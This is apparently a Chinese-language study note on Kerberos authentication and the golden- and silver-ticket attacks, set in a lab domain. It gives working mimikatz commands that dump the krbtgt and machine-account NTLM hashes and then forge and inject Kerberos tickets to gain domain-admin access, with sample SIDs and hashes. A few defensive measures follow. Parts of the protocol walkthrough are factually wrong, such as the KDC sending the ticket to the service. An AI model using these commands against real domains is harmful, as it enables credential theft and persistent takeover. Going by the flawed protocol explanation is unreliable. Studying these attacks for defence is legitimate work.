kerberos协议
简述协议:
kerberos协议用于网络身份鉴别,输入一次验证信息就可以获得凭证票据 ,就能访问认证多个服务。
协议组成:
-
客户端(Client)
-
服务端(Server)
-
密钥分发中心(Key distribution KDC),又分两个部分:
-
AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
-
TGS(Ticket Granting ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(ticket)
-
TGT:由域控制器颁发的;用户首次登录时,会获得一张 TGT 票据,用于后续向 KDC 申请访问其他服务的权限。
TGS:用户向KDC申请访问特定服务时获得的票据;当用户想访问某个服务时,会使用自己的 TGT 票据向 KDC 申请一张针对该服务的 TGS 票据。
kerberos认证过程简化两大步骤:
-
客户端向KDC请求获取访问目标服务的服务授予票据
-
客户端拿着KDC获取的服务授予票据访问相应的网络服务
第一步:
-
Client 向 KDC 发送自己的身份信息, KDC 从 TGS(网络票据授予服务)得到 TGT票据(ticket-granting-ticket) , 将TGT加密回复给Client,从而获得 TGT 。
-
Client 利用之前获得的 TGT 和要请求服务端的服务信息向 KDC 请求其他 Service 服务端,从而通过其他 Service 的身份鉴别。Kerberos 协议的重点在于第二部分,
第二步:
- Client将之前获得TGT和服务信息(服务名,服务端ip,服务端信息等)发送给KDC(密钥分发中心),KDC中的TGS(票证授予服务)将为Client和Service之间生成一个Session Key用于要请求的Service对Client的身份鉴别。然后KDC将这个Session Key和用户名,用户地址(IP),服务名,有效期,时间戳一起包装成一个Ticket(票据)(这些信息最终用于Service对Client的身份鉴别)发送给Service。
- 此时KDC将刚才的Ticket(该Ticket是TGT票据和Session key被加密后)转发给Client。
- Client将刚才收到的Ticket转发到Service。
- Service 收到Ticket后将Ticket中的信息解密出来,做比较从而验证Client的身份。如果验证通过,服务器与客户端之间建立一个会话密钥,用于后续的加密通信。
黄金票据:
原理:
⻩⾦票据⽣成攻击,是⽣成有效的TGT Kerberos票据,并且不受TGT⽣命周期的影响(TGT默认10⼩时,最多续订7天),这⾥可以为任意⽤户⽣成⻩⾦票据,然后为域管理员⽣成TGT,将普通⽤户变成域管理员。
条件:
1、已经拿下域管理员,获取到krbtgt hash。
2、利用krbtgt的hash制作黄金票据工具,进行攻击。
攻击流程:
1.在受控机获得域名:god.org
2.获得域名的SID:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3.获得域的KRBTGT账户NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch #导出所有机器用户的hash值,找到user=krbtgt的hash值
4.生成票据:伪造用户名:webadmin(任意用户名)
注意:前面3个流程都是在域控制器获得相关信息。
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g
5.将伪造的票据,导入内存:
注意:导入该票据是域内的其他机器,不要和DC与控制器搞混了
mimikatz # kerberos::ptt g
访问测试:
dir \\owa2010cn-god\c$
黄金票据总结:
该攻击是权限维持攻击,属于第⼆次进⾏攻击的⽅法,目的是为了权限的维持;该攻击不属于横向移动。 第⼀次拿到域管权限之后,需要将krbtgt NTLM hash进⾏保存,当第⼆次再来进⾏域渗透攻击时,我们就可使⽤krbtgt的NTLM hash制作⻩⾦票据,从⽽再次获得域管权限。
黄金票据具有以下特点:
-
无限期有效:攻击者伪造的 TGT 票据没有时间限制,可以一直使用。
-
权限全面:持有黄金票据的攻击者可以伪造任意用户的访问凭证。
-
难以检测:黄金票据不会出现在正常的 Kerberos 票据列表中,很难被发现。
防御黄金票据攻击的关键包括:
-
严格管理 KRBTGT 账号的密码,定期修改密码。
-
监控域控制器的安全日志,检测异常的 Kerberos 票据活动。
-
使用 Kerberos 审计和监控工具,及时发现和阻止黄金票据的使用。
-
及时打补丁,修复 Kerberos 相关的安全漏洞。
白银票据:
原理:
白银票据是伪造的ST。在Kerberos认证的第三步,Client带着ST和Session-key tgs加密的Client-info、timestamp作为一部分内容,总共两部分内容向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Server NTLM 解密ST,从而获得Session-key tgs 。通过Session-key tgs解析那一部分内容,进而验证对方的身份。验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的票据只对部分服务起作用。
条件:
1、已经拿下域管理员,获取到DC hash;
2、利用DC的hash制作白银票据工具,进行攻击。
攻击流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user whoami /all
3,域DC账户NTLM-HASH:06114aa8845850d50f6cef427ebb593a
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
4、伪造用户名:webadmin(任意用户名) 导入票据:(CIFS文件共享服务) domain:域名 sid:域环境下的SID,除去最后-的部分剩下的内容 target:要访问的服务器,写FQDN rc4:写的是目标主机的NTLM(主机名$对应NTLM) service:要访问的资源类型 user:伪造的用户 cifs:共享文件
mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:06114aa8845850d50f6cef427ebb593a /ptt
这里显示是拒绝访问,在迪总视频也是如此情况,所以,最后失败,有大佬的可以指点一下!!!
白银票据总结:
白银票据总结 只能访问文件(比较局限)
1、伪造的ST,只能访问指定的服务,如CIFS;
2、不与KDC交互,直接访问Server;
3、ST由服务账号 NTLM Hash 加密。
黄金白银票据区别
伪造的票据 | 黄金票据伪造的是TGT |
白银票据伪造的是ST | |
加密方式 | 黄金票据由krbtgt的hash加密生成 |
白银票据由机器账户的hash加密生成 | |
获取的权限 | 黄金票据可以或得任意kerberos访问权限 |
白银票据只能获得部分服务的访问权限 | |
认证流程 | 黄金票据同TGS交互,不同AS交互 |
白银票据不同AS也不同TGS交互,直接访问server | |
构造条件 | 黄金票据 域名,域sid,krbtgt用户hash,伪造的用户名 |
白银票据 域名,域sid,dc机器账户hash,伪造的服务,伪造的用户名 |